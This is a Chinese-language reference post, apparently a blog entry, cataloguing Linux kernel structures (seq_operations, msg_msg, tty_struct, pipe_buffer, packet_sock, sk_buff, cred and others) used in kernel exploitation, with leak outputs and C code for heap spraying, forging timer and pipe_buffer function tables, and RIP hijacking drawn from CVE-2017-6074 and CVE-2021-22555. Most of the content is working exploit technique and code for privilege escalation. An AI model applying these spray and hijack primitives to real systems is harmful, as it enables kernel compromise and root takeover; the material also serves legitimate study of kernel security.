一、可用于 Leak/AAR/AAW/RIP劫持的结构体

说明目前缺少kmalloc-8kmalloc-16kmalloc-64kmalloc-512结构体。

1. shm_file_data

size: 0x20 kmalloc-32

内核基址:可泄露。其nsvm_ops指针可以泄露

heap:可泄露。file指向堆区域

stack:不能泄露

劫持RIP:不能

产生:调用shmat()映射共享内存

释放shmctl() ??

备注:尝试过重写vm_ops,但是没发现调用fake_vtable函数指针的情况。

struct shm_file_data {int id;struct ipc_namespace *ns;struct file *file;const struct vm_operations_struct *vm_ops;
};
/* 测试输出(对一个含UAF漏洞的test.ko进行测试)
0x0000:0x0000000000000000
0x0008:0xffffffff82292ae0
0x0010:0xffff88800ea09700
0x0018:0xffffffff81e15540
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800ea09700
*/

2. seq_operations

size: 0x20 kmalloc-32

内核基址:4个指针都能泄露出内核基址

heap:不能泄露

stack:不能泄露

劫持RIP:可劫持。修改start,并调用read,将劫持RIP

产生open("/proc/self/stat", O_RDONLY)

释放close()

struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};
/*
0x0000: 0xffffffff811c5f70
0x0008: 0xffffffff811c5f90
0x0010: 0xffffffff811c5f80
0x0018: 0xffffffff8120c3f0
[+] kbase = 0xffffffff81000000
Press enter to continue...
[    6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/

3. msg_msg (+user-supplied data)

size: 0x31-0x1000 kmalloc-64以上

内核基址:不能泄露

heap:可泄露。next指向前一个msgsnd消息(SLUB上)

stack:不能泄露

劫持RIP:不能

产生msgget() + msgsnd()

释放:到msgrcv(),接收顺序同发送顺序,所以kfree的顺序也是传输的顺序

备注:非常方便,因为结构的大小可变,但限制是前48字节是头结构,无法重写。

/* one msg_msg structure for each message */
struct msg_msg {struct list_head m_list;long m_type;size_t m_ts;        /* message text size */struct msg_msgseg *next;void *security;/* the actual message follows immediately */
};
/*
0x0000: 0xffff88800e1661c0
0x0008: 0xffff88800e1661c0
0x0010: 0x0000000000000001
0x0018: 0x0000000000000020
0x0020: 0x0000000000000000
0x0028: 0xffff88800e8c7f90
0x0030: 0x4242424241414141
0x0038: 0x4444444443434343
0x0040: 0x4646464645454545
0x0048: 0x0000000000000046
[+] kheap = 0xffff88800e1661c0
*/

4. subprocess_info

size: 0x60 kmalloc-128

内核基址:可泄露。work.func可能指向call_usermodehelper_exec_work

heap:可泄露。但尚未验证是哪些SLUB

stack:不能泄露。

劫持RIP:可劫持。重写cleanup

产生socket(22, AF_INET, 0) —— 未知协议

释放:与产生的路径相同

备注:通过竞争来设置info->cleanup,触发执行if (info->cleanup) info->cleanup(info); 劫持RIP的概率很大,但是构造ROP回到用户态后,会死在fs或者syscall。如果禁用SMAP,理论上可以将fd重写到用户态,并结合userfaultfd。

struct subprocess_info {struct work_struct work;struct completion *complete;const char *path;char **argv;char **envp;struct file *file;int wait;int retval;pid_t pid;int (*init)(struct subprocess_info *info, struct cred *new);void (*cleanup)(struct subprocess_info *info);void *data;
} __randomize_layout;
/*
0x0000: 0xffff88800f254380
0x0008: 0xffff88800f254e88
0x0010: 0xffff88800f254e88
0x0018: 0xffffffff81071380
0x0020: 0x0000000000000000
0x0028: 0xffffffff82242260
0x0030: 0xffff88800e0e3b40
0x0038: 0xffffffff82242180
0x0040: 0x0000000000000000
0x0048: 0x0000010000000006
0x0050: 0x0000000000000407
0x0058: 0x0000000000000000
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f254380
Press enter to continue...
[    6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/

5.cred

size: 0xa8 kmalloc-192

内核基址:不能泄露。

heap:可泄露。通过session_keyring泄露,但是未验证属于哪种SLUB。

stack:不能泄露

劫持RIP:不能

产生:创建进程

释放:退出创建的进程。

备注:覆盖uid,gid = 0即可提权。

struct cred {atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALSatomic_t   subscribers;    /* number of processes subscribed */void        *put_addr;unsigned  magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endifkuid_t        uid;        /* real UID of the task */kgid_t        gid;        /* real GID of the task */kuid_t        suid;       /* saved UID of the task */kgid_t       sgid;       /* saved GID of the task */kuid_t       euid;       /* effective UID of the task */kgid_t       egid;       /* effective GID of the task */kuid_t       fsuid;      /* UID for VFS ops */kgid_t     fsgid;      /* GID for VFS ops */unsigned   securebits; /* SUID-less security management */kernel_cap_t cap_inheritable; /* caps our children can inherit */kernel_cap_t    cap_permitted;  /* caps we're permitted */kernel_cap_t cap_effective;  /* caps we can actually use */kernel_cap_t  cap_bset;   /* capability bounding set */kernel_cap_t   cap_ambient;    /* Ambient capability set */#ifdef CONFIG_KEYSunsigned char jit_keyring;    /* default keyring to attach requested keys to */struct key __rcu *session_keyring; /* keyring inherited over fork */struct key *process_keyring; /* keyring private to this process */struct key   *thread_keyring; /* keyring private to this thread */struct key *request_key_auth; /* assumed request_key authority */
#endif#ifdef CONFIG_SECURITYvoid        *security;  /* subjective LSM security */
#endifstruct user_struct *user; /* real user ID subscription */struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */struct group_info *group_info;   /* supplementary groups for euid/fsgid *//* RCU deletion */union {int non_rcu;          /* Can we skip RCU deletion? */struct rcu_head  rcu;        /* RCU deletion hook */};
} __randomize_layout;

6. file

sizekmalloc-256

内核基址:可泄露。f_op指针

heap:未验证。

stack:未验证。

劫持RIP:重写f_op中的shmctl()来控制,但由于UAF后文件结构没有重叠,验证失败。

产生shmget()创建共享内存。

释放shmctl()

struct file {union {struct llist_node    fu_llist;struct rcu_head    fu_rcuhead;} f_u;struct path        f_path;struct inode     *f_inode;   /* cached value */const struct file_operations  *f_op;/** Protects f_ep_links, f_flags.* Must not be taken from IRQ context.*/spinlock_t        f_lock;enum rw_hint     f_write_hint;atomic_long_t      f_count;unsigned int        f_flags;fmode_t         f_mode;struct mutex     f_pos_lock;loff_t           f_pos;struct fown_struct    f_owner;const struct cred   *f_cred;struct file_ra_state    f_ra;u64            f_version;
#ifdef CONFIG_SECURITYvoid          *f_security;
#endif/* needed for tty driver, and maybe others */void         *private_data;#ifdef CONFIG_EPOLL/* Used by fs/eventpoll.c to link all the hooks to this file */struct list_head    f_ep_links;struct list_head f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */struct address_space    *f_mapping;errseq_t     f_wb_err;
} __randomize_layout__attribute__((aligned(4)));    /* lest something weird decides that 2 is OK */

7. timerfd_ctx

sizekmalloc-256

内核基址:可泄露。通过tmr.function所指向的timerfd_tmrproc来泄露

heap:可泄露。通过tmr.base

stack:不能泄露。

劫持RIP:不能

产生timerfd_create()

释放close()

struct timerfd_ctx {union {struct hrtimer tmr;struct alarm alarm;} t;ktime_t tintv;ktime_t moffs;wait_queue_head_t wqh;u64 ticks;int clockid;short unsigned expired;short unsigned settime_flags;    /* to show in fdinfo */struct rcu_head rcu;struct list_head clist;spinlock_t cancel_lock;bool might_cancel;
};struct hrtimer {struct timerqueue_node        node;ktime_t                _softexpires;enum hrtimer_restart       (*function)(struct hrtimer *);struct hrtimer_clock_base *base;u8                state;u8                is_rel;u8               is_soft;
};
/*
0x0000:0xffff88800e216100
0x0008:0x0000000000000000
0x0010:0x0000000000000000
0x0018:0x000000183ca77938
0x0020:0x000000183ca77938
0x0028:0xffffffff811e7ef0
0x0030:0xffff88800f41ba80
...
[+] kbase = 0xffffffff81000000
[+] kbase = 0xffff88800f41ba80
*/

8. tty_struct

size:0x2e0 kmalloc-1024

内核基址:可泄露。ops指向的ptm_unix98_ops

heap:可泄露。通过devdriver,但是未验证属于哪种SLUB。

stack:似乎不能泄露。

劫持RIP:可劫持。重写ops函数表。

产生open("/dev/ptmx", O_RDWR | O_NOCTTY)

释放close()

struct tty_struct {int   magic;struct kref kref;struct device *dev;struct tty_driver *driver;const struct tty_operations *ops;int index;/* Protects ldisc changes: Lock tty not pty */struct ld_semaphore ldisc_sem;struct tty_ldisc *ldisc;struct mutex atomic_write_lock;struct mutex legacy_mutex;struct mutex throttle_mutex;struct rw_semaphore termios_rwsem;struct mutex winsize_mutex;spinlock_t ctrl_lock;spinlock_t flow_lock;/* Termios values are protected by the termios rwsem */struct ktermios termios, termios_locked;struct termiox *termiox;  /* May be NULL for unsupported */char name[64];struct pid *pgrp;        /* Protected by ctrl lock */struct pid *session;unsigned long flags;int count;struct winsize winsize;       /* winsize_mutex */unsigned long stopped:1, /* flow_lock */flow_stopped:1,unused:BITS_PER_LONG - 2;int hw_stopped;unsigned long ctrl_status:8,  /* ctrl_lock */packet:1,unused_ctrl:BITS_PER_LONG - 9;unsigned int receive_room;    /* Bytes free for queue */int flow_change;struct tty_struct *link;struct fasync_struct *fasync;wait_queue_head_t write_wait;wait_queue_head_t read_wait;struct work_struct hangup_work;void *disc_data;void *driver_data;spinlock_t files_lock;     /* protects tty_files list */struct list_head tty_files;#define N_TTY_BUF_SIZE 4096int closing;unsigned char *write_buf;int write_cnt;/* If the tty has a pending do_SAK, queue it here - akpm */struct work_struct SAK_work;struct tty_port *port;
} __randomize_layout;
/*
0x0000:0x0000000100005401
0x0008:0x0000000000000000
0x0010:0xffff88800f1ed840
0x0018:0xffffffff81e65900
0x0020: 0x0000000000000000
...
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f1ed840
按回车继续...
[5.413411] BUG:无法在 00000000deadbeef 处处理内核分页请求
*/

9. pipe_buffer

参考:CVE-2021-22555

sizekmalloc-1024GFP_KERNEL_ACCOUNT 标志。

内核基址:可泄露,ops指针指向anon_pipe_buf_ops函数表。

劫持RIPpipe_buffer->ops->release

分配链:pipe() -> do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info() —— 分配大小为0x370(默认16个page,16*0x28=0x370)。

触发链:pipe_release() -> put_pipe_info() -> free_pipe_info -> pipe_buf_release() 调用pipe_buffer->ops->release 函数

struct pipe_buffer {struct page *page;                           // 读写pipe时, 实际上是读写page地址unsigned int offset, len;const struct pipe_buf_operations *ops;     // <-------- 函数表unsigned int flags;unsigned long private;
};struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);   // 确保 pipe buffer 中的数据有效,有效则返回0,无效则返回负值错误码。void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe bufferbool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

构造

#define NUM_PIPEFDS 256
int pipefd[NUM_PIPEFDS][2];
// sprayfor (int i = 0; i < NUM_PIPEFDS; i++) {if (pipe(pipefd[i]) < 0) {perror("[-] pipe");goto err_rmid;}// Write something to populate pipe_buffer.if (write(pipefd[i][1], "pwn", 3) < 0) {perror("[-] write");goto err_rmid;}}
// release, triggerfor (int i = 0; i < NUM_PIPEFDS; i++) {if (close(pipefd[i][0]) < 0) {perror("[-] close");goto err_rmid;}if (close(pipefd[i][1]) < 0) {perror("[-] close");goto err_rmid;}}

10. packet_socket

参考:CVE-2016-8655 CVE-2017-6074

sizekmalloc-2048 5.11.14版本中大小为0x5c0。

劫持RIP

分配 packet_socksocket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); —— sock(AF_PACKET) -> packet_create -> sk_alloc

分配timersetsockopt(fd, SOL_PACKET, PACKET_RX_RING, (void*)&tp, sizeof(tp)); —— packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()

struct packet_sock {/* struct sock has to be the first member of packet_sock */struct sock       sk;struct packet_fanout *fanout;union  tpacket_stats_u  stats;struct packet_ring_buffer rx_ring;                    // <--------------- rx_ringstruct packet_ring_buffer tx_ring;... ...int          (*xmit)(struct sk_buff *skb);struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
struct packet_ring_buffer {struct pgv        *pg_vec;... ...unsigned int        pg_vec_order;unsigned int        pg_vec_pages;unsigned int        pg_vec_len;unsigned int __percpu    *pending_refcnt;struct tpacket_kbdq_core    prb_bdqc;                    // <---------------- prb_bdqc
};
/* kbdq - kernel block descriptor queue */
struct tpacket_kbdq_core {struct pgv    *pkbdq;... ...struct sk_buff    *skb;                                    // <---------------- skb... ...unsigned short  retire_blk_tov;unsigned short  version;unsigned long    tov_in_jiffies;struct timer_list retire_blk_timer;                        // <---------------- retire_blk_timer
};
struct timer_list {struct hlist_node    entry;unsigned long        expires;void            (*function)(unsigned long);                // 待伪造的回调函数unsigned long        data;                                 // 参数u32            flags;
#ifdef CONFIG_TIMER_STATSint            start_pid;void            *start_site;char            start_comm[16];
#endif
#ifdef CONFIG_LOCKDEPstruct lockdep_map    lockdep_map;
#endif
};

构造:来自 CVE-2017-6074

#define TIMER_OFFSET     (744 + 48 + 104)
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {memset(&buffer[0], 0, 2048);struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];timer->next = 0;timer->prev = 0;timer->expires = 4294943360;timer->function = func;timer->data = arg;timer->flags = 1;timer->slack = -1;
}int timers[6];
int optval = TPACKET_V3;
struct tpacket_req3 tp;
struct udp_fifo_handle uh3;
socketpair(AF_LOCAL, SOCK_DGRAM, 0, uh3->fds);
// 创建 timer
for (i = 0; i < 6; i++) { timer[i] = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));setsockopt(timer[i], SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval));memset(&tp, 0, sizeof(tp));tp.tp_block_size = CONF_RING_FRAMES * getpagesize();tp.tp_block_nr = 1;tp.tp_frame_size = getpagesize();tp.tp_frame_nr = CONF_RING_FRAMES;tp.tp_retire_blk_tov = timeout;     // timeout = 500 (0.5s)setsockopt(timer[i], SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp));
}
// 堆喷伪造timer
char buffer[2048];
init_timer_buffer(&buffer[0], func, arg);
send(uh3->fds[0], buffer, 1536, 0);      // 1536=0x600
sleep(1);                               // 等待触发

11. sk_buff 线性数据区

参考: CVE-2017-6074

size:2048

劫持RIP:sk_buff -> skb_shared_info -> ubuf_info -> callback 注意skb_shared_info结构的偏移为sk_buff->head+sk_buff->end

struct sk_buff {union {struct {/* These two members must be first. */struct sk_buff      *next;struct sk_buff        *prev;... ... sk_buff_data_t        tail;sk_buff_data_t     end;unsigned char       *head,*data;                                                        // <------------ (head+end) 指向 skb_shared_info 结构unsigned int       truesize;atomic_t       users;
};struct skb_shared_info {unsigned char nr_frags;__u8       tx_flags;unsigned short gso_size;/* Warning: this field is not always filled in (UFO)! */unsigned short gso_segs;unsigned short  gso_type;struct sk_buff    *frag_list;struct skb_shared_hwtstamps hwtstamps;u32        tskey;__be32          ip6_frag_id;atomic_t  dataref;void *      destructor_arg;                                         // <------------ 指向 ubuf_info 结构skb_frag_t   frags[MAX_SKB_FRAGS];
};struct ubuf_info {void (*callback)(struct ubuf_info *, bool zerocopy_success);        // <------------ 待伪造的回调函数void *ctx;unsigned long desc;
};

分配sendmsg -> packet_sendmsg() -> packet_snd() -> packet_alloc_skb() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb() 还有很多协议及调用链都会用到skb。

释放链:dccp_close() -> inet_csk_destroy_sock() -> dccp_v6_destroy_sock() -> inet6_destroy_sock() -> kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() 执行回调函数skb-> ... ->destructor_arg->callback

构造:只有CVE-2017-6074漏洞中,由于dccp拥塞控制协议对sk_buff结构进行了double-free,可堆喷劫持。


二、可用于任意数据写入/堆喷的结构

1. msg_msg —— msgsnd()

参考: msgsnd linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

构造msgsnd()发送,msgrcv()接收。

// 只能控制0x30字节以后的内容
struct {long mtype;char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 120; i++)msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可

2. sendmsg()

参考:linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

size:可选(>=2)

产生sendmsg,数据放入msg.msg_control指针。

释放:与产生路径相同。

备注:与setxattr相同,可与userfaultfd结合使用。

// 限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可// 方法2int sock[2];socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);struct mmsghdr msg[1];msg[0].msg_hdr.msg_iovlen = 0;// Buffer to kmalloc.msg[0].msg_hdr.msg_control = &buffer[0];msg[0].msg_hdr.msg_controllen = 2048;// Make sendmmsg exit easy with EINVAL.msg[0].msg_hdr.msg_name = "root";msg[0].msg_hdr.msg_namelen = 1;syscall(__NR_sendmmsg, sock[0], msg, 1, 0);

3. setxattr

参考:setxattr+userfault堆喷 CVE-2019-15666 xfrm UAF 8字节写NULL提权分析

size:可选(<65536)

产生setxattr()

static long setxattr(struct dentry *d, const char __user *name, const void __user *value,size_t size, int flags)
{int error;void *kvalue = NULL;char kname[XATTR_NAME_MAX + 1];... ...if (size) {if (size > XATTR_SIZE_MAX)return -E2BIG;kvalue = kvmalloc(size, GFP_KERNEL);              // [1] 分配空间if (!kvalue)return -ENOMEM;if (copy_from_user(kvalue, value, size)) {            // [2] 拷贝用户数据error = -EFAULT;goto out;}if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))posix_acl_fix_xattr_from_user(kvalue, size);}error = vfs_setxattr(d, kname, kvalue, size, flags);
out:kvfree(kvalue);                                         // [3] 释放空间return error;
}

释放:与产生路径相同。

备注:与userfaultfd结合使用。弥补msgsnd前48字节无法覆盖的缺陷。

 void *addr;addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */

4. pipe() —— pipe_buffer

参考:【内核漏洞利用】WCTF 2018 klist—竞争UAF-pipe堆喷 linux kernel pwn学习之条件竞争(一)

write链:write -> ksys_write -> vfs_write -> new_sync_write() -> call_write_iter() -> pipe_write() 将数据写入了pipe_buffer->page中(页=4k),所以不能任意布置数据,参考中用到pipe堆喷是因为pipe_buffer->offsetpipe_buffer->len恰好将改题中结构的第2个8字节—size覆盖很大,导致越界读写。

read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> pipe_read()

构造

 #define SIZE 0x280char* buf2 = malloc(SIZE);   memset(buf2, 'E', SIZE);int fds[2];pipe(&fds[0]);// 堆喷,把结构中的size域覆盖很大,这样就能任意读写for(int i = 0; i < 9; i++)write(fds[1], buf2, SIZE);

5. add_key()

参考:CVE-2017-2636

size:<= kmalloc-8192 最大不超过 /proc/sys/kernel/keys/maxbytes 中规定的值,默认为20000。

产生:add_key

SYSCALL_DEFINE5(add_key, const char __user *, _type,const char __user *, _description,const void __user *, _payload,size_t, plen,key_serial_t, ringid)
{key_ref_t keyring_ref, key_ref;char type[32], *description;void *payload;long ret;... ...      // 读取type/descriptionpayload = NULL;if (plen) {ret = -ENOMEM;payload = kvmalloc(plen, GFP_KERNEL);               // [1] 分配空间if (!payload)goto error2;ret = -EFAULT;if (copy_from_user(payload, _payload, plen) != 0)   // [2] 拷贝用户数据goto error3;}... ...error:return ret;
}

构造

// 方法1
void spray_addkey(int count) {int i;char payload[BUF_SIZE];char desc[256];memset(payload, 0x42, BUF_SIZE);for(i=0; i<count; i++) {sprintf(desc, "payload%d", i);add_key_arr[i] = _add_key("user", desc, payload, 0x300, KEY_SPEC_PROCESS_KEYRING);}
}
// 方法2
#include <linux/keyctl.h>
#define PAYLOAD_SZ          8100
k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);

6. sk_buff

参考:喷射参考CVE-2021-22555,介绍参考CVE-2017-6074。

size:0x280 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops

创建链:write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()

read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic() -> unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()

write链: write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> skb_copy_datagram_from_iter()

static ssize_t sock_write_iter(struct kiocb *iocb, struct iov_iter *from)
{struct file *file = iocb->ki_filp;struct socket *sock = file->private_data;struct msghdr msg = {.msg_iter = *from,       // 组装msg结构, 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样).msg_iocb = iocb};ssize_t res;if (iocb->ki_pos != 0)return -ESPIPE;if (file->f_flags & O_NONBLOCK || (iocb->ki_flags & IOCB_NOWAIT))msg.msg_flags = MSG_DONTWAIT;if (sock->type == SOCK_SEQPACKET)msg.msg_flags |= MSG_EOR;res = sock_sendmsg(sock, &msg);               //*from = msg.msg_iter;return res;
}int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,struct iov_iter *from,int len)
{int start = skb_headlen(skb);         // skb->len - skb->data_len;int i, copy = start - offset;            // copy 是线性数据区的剩余空间大小struct sk_buff *frag_iter;
// [1] 拷贝到线性数据区 skb->dataif (copy > 0) {if (copy > len)copy = len;if (copy_from_iter(skb->data + offset, copy, from) != copy)goto fault;if ((len -= copy) == 0)return 0;offset += copy;}
// [2] 拷贝到非线性数据区 skb->fragsfor (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {int end;const skb_frag_t *frag = &skb_shinfo(skb)->frags[i];WARN_ON(start > offset + len);end = start + skb_frag_size(frag);if ((copy = end - offset) > 0) {size_t copied;if (copy > len)copy = len;copied = copy_page_from_iter(skb_frag_page(frag),skb_frag_off(frag) + offset - start,copy, from);if (copied != copy)goto fault;if (!(len -= copy))return 0;offset += copy;}start = end;}
// [3] 拷贝到非线性数据区 skb->fraglistskb_walk_frags(skb, frag_iter) {   // for (iter = skb_shinfo(skb)->frag_list; iter; iter = iter->next)int end;WARN_ON(start > offset + len);end = start + frag_iter->len;if ((copy = end - offset) > 0) {if (copy > len)copy = len;if (skb_copy_datagram_from_iter(frag_iter,offset - start,from, copy))goto fault;if ((len -= copy) == 0)return 0;offset += copy;}start = end;}if (!len)return 0;... ...
}
EXPORT_SYMBOL(skb_copy_datagram_from_iter);

构造

#define SKB_SHARED_INFO_SIZE 0x140
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
int ss[NUM_SOCKETS][2];
char buf[0x400 - SKB_SHARED_INFO_SIZE];
for (int i = 0; i < NUM_SOCKETS; i++) socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]);
struct pipe_buffer *p_buf = (struct pipe_buffer *)&buf;            // 伪造 pipe_buffer->ops
p_buf->ops = kheap_addr + 0x290;
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)&buf[0x290];
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
for (int i = 0; i < NUM_SOCKETS; i++) {for (int j = 0; j < NUM_SKBUFFS; j++) {if (write(ss[i][0], buf, 0x400-0x140) < 0) {perror("[-] write");return -1;}}
}
// 读取skb内容for (int i = 0; i < NUM_SOCKETS; i++) {for (int j = 0; j < NUM_SKBUFFS; j++) {if (read(ss[i][1], buf, sizeof(buf)) < 0) {perror("[-] read");goto err_rmid;}if (*(uint64_t *)&buf[0x10] != MTYPE_FAKE)pipe_buffer_ops = *(uint64_t *)&buf[0x10];                // 泄露 pipe_buffer->ops —— 内核基址}}
// 释放skbfor (int i = 0; i < NUM_SOCKETS; i++) {for (int j = 0; j < NUM_SKBUFFS; j++) {if (read(ss[i][1], buf, 0x400-0x140) < 0) {perror("[-] read");return -1;}}}

参考:

Kernel Exploit 用到的结构体

https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628 实验环境下载

kernel exploit 有用的结构体相关推荐

  1. 【Kernel】如何从kernel中获取cred结构体中的value

    获取linux kernel cred结构体中成员变量的value时,根绝kernel版本需要做适配. linux kernel 3.5以上,获取cred需要如下处理(重点 cred->uid. ...

  2. sysinfo结构体

    sysinfo结构体 Linux中,可以用sysinfo来获取系统相关信息. Linux中,sysinfo是用来获取系统相关信息的结构体. 函数声明和原型: #include <sys/sysi ...

  3. sysinfo函数、结构体使用

    1,头文件: #include <sys/sysinfo.h> 2,函数声明: int sysinfo(struct sysinfo *info); 3,返回值: 成功返回0,错误返回-1 ...

  4. InnoDB事务结构体代码变量列表

    事务结构 struct trx_t 写在前面 InnoDB是MySQL的一个存储引擎,支持事务,支持非堵塞的一致性读,物理存储结构是Page,每个事务都有回滚日志,重做日志,事务还会有死锁检测,各种各 ...

  5. 【kernel exploit】CVE-2022-2588 Double-free 漏洞 DirtyCred 利用

    影响版本:Linux v3.17 (commit) ~v5.19.1. v5.19.2已修补. 测试版本:Linux-5.19.1 exploit及测试环境下载地址-https://github.co ...

  6. 流媒体-H264协议-编码-x264学习-主要结构体(二)

    流媒体-H264协议-编码-x264学习-相关概念x264编译及文件解析(一) 流媒体-H264协议-编码-x264学习-主要结构体(二) 流媒体-H264协议-编码-x264学习-主要函数(三) 流 ...

  7. Linux 准确查找结构体定义位置

    例如:查找文件操作结构体 struct file_operations, 使用转移符 "\" $ grep struct\ file_operations\ { kernel/in ...

  8. 简单介绍C语言使用四种方法初始化结构体

    这篇文章说明了什么是结构体,介绍了结构体的概念和使用优点,在C语言中如何使用和初始化结构体方法,通过详细的代码展开进行说明,希望该篇文章对你有所帮助 什么是结构体 在实际问题中,一组数据往往有很多种不 ...

  9. gcc 复杂结构体 初始化_gcc编译选项

    本文档参考: gcc 编译选项_aifei7320的专栏-CSDN博客​blog.csdn.net -M 生成文档关联的信息.包含目标文档所依赖的任何源代码您能够用gcc -M hello.c来测试一 ...

最新文章

  1. 如何查看oracle用户具有的权限和角色
  2. 深究AngularJS——AngularJS中的Controller(控制器)
  3. android 活动外的类,Android – 活动外的startActivityForResult?
  4. Python-函数和代码复用
  5. linux获得蓝牙外设mac,iOS获取蓝牙外设Mac地址
  6. sklearn字典特征提取
  7. Python挑战题目,你会了吗?
  8. Steeltoe之Config客户端篇
  9. 034 Android NavigationView和DrawerLayout实现抽屉式导航设计(侧边栏效果)
  10. AI实战 | Tensorflow自定义数据集和迁移学习(附代码下载)
  11. 实例对象的索引的方法
  12. 1016.外网资源下载神器
  13. 5G(10)----5G 终端发展
  14. 下载安装 Ubuntu 19.04 “Disco Dingo”
  15. SMBMS项目(一)
  16. 关于显示屏分辨率的问题
  17. deepin 切换大黄蜂显卡驱动
  18. 一元二次方程虚根求法java_请问怎么用C语言求一元二次方程的虚根
  19. 'CALayer position contains NaN: [nan nan]'异常
  20. ASP.NET MVC3 AjaxPro2_se7en3_新浪博客

热门文章

  1. CISCO ASA思科防火墙常用命令
  2. 【Mysql】utf8与utf8mb4区别,utf8mb4_bin、utf8mb4_general_ci、utf8mb4_unicode_ci区别
  3. CTF-RSA1(已知p、q、dp、dq、c)
  4. 常用卫星遥感影像数据源
  5. div:给div加滚动条 div的滚动条设置
  6. opencv 边缘检测,角点检测
  7. 购买阿里云GPU虚拟化型实例规格族vgn6i抢占式实例并搭建CUDA 11.5和cuDNN 8.3.0
  8. mongo-节点出现recovering状态的处理办法
  9. 计算机考试感受作文,考试后的感受作文(通用10篇)
  10. i7 9750h和r7 5800h差距大不大